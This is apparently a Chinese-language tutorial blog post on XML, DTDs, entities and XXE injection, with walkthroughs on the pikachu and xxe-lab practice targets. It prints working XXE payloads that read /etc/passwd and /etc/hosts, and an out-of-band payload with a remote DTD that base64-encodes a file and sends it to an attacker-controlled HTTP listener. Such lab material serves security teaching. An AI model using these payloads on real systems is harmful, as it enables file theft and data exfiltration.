XML介绍
xml代表可扩展标记语言。标记语言是一组代码或标记,用于描述数字文档中的文本。最著名的标记语言是超文本标记语言(HTML),用于格式化/展示网页。xml被设计用来传输和存储数据,不用于表现和展示数据。
HTML标记是固定的,每个网站开发者都是用相同的标签来做相同的事情
而XML允许创建自己的标签来标记数据,XML的灵活性有很多好处,允许在公司数据库和网站之间传输数据,而不会丢失关键的描述性信息。其次,XML会使搜索更加高效,因为搜索引擎可以通过标签定位而不是长文本进行搜索。
xml语法
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8" ?> <persion> <Name>Hmm</Name> <Age>18</Age> </persion>
|
DTD文档:用于定义合法的xml文档构建模块
实用方式:
1.内部声明DTD:
2.外部引用DTD:
1
| <!DOCTYPE 根元素 SYSTEM "外部DTD的url">
|
3.引用公共DTD:
1
| <!DOCTYPE 根元素 PUBLIC "DTD标识名" "公用的DTD的url">
|
xml实体
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该实体的值。实体根据引用的方式,还可以分为内部实体与外部实体,看看这些实体的申明方式。
普通实体(在XML文档中)
在xml文档中调用 &实体名字
1
| <!ENTITY 实体名称 SYSTEM "url" >
|
参数实体(用在DTD文档中)
在DTD文档中 %实体名字
1 2 3
| <!ENTITY %实体名称 "实体的值" > 或者 <!ENTITY %实体名称 SYSTEM "url" >
|
XML实体实例演示
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY name "idea">]> <foo> <value> &name; </value> </foo>
|
1 2 3 4 5
| <?xml verison="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY %name SYSTEM "file:///etc/passwd"> %name; ]>
|
XML外部实体注入
XML外部实体注入,简称XXE漏洞。xxe是针对解析xml输入的应用程序的一种攻击。当弱配置的xml解析器处理包含对外部实体的引用的xml输入时,就会发生此攻击。
实验1(pikachu靶场)
1 2 3 4 5
| <?xml version="1.0" ?> <!DOCTYPE note[ <!ENTITY hacker "test"> ]> <name>&hacker;</name>
|

我在框中提交上面的xml

发现是被成功解析了
1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
|

实验2 (xxe-lad)


Payload:
1 2 3 4 5
| <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/hosts"> ]> <user><username>&f;</username><password>admin888</password></user>
|

以上都是有回显的,那么在没有回显的情况下,可以通过OOB带外注入的方法通过外带数据通道来提取数据,构造payload如下
还是上述实验代码


可以看到没有结果了
构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///读取的文件"> <!ENTITY % dtd SYSTEM "http://attcker_ip/a.dtd"> %dtd; %send; ]>
攻击者远程部署的a.dtd文档中的内容为:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://攻击者ip:端口号?%file;'>"> %start;
|

1
| python3 -m http.server 7777
|
启动一个http服务

在目标上的payload
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts"> <!ENTITY % dtd SYSTEM "http://192.168.34.46:7777/a.dtd"> %dtd; %send; ]>
|
发送payload

然后查看我们监听的端口

将内容base64解码即可
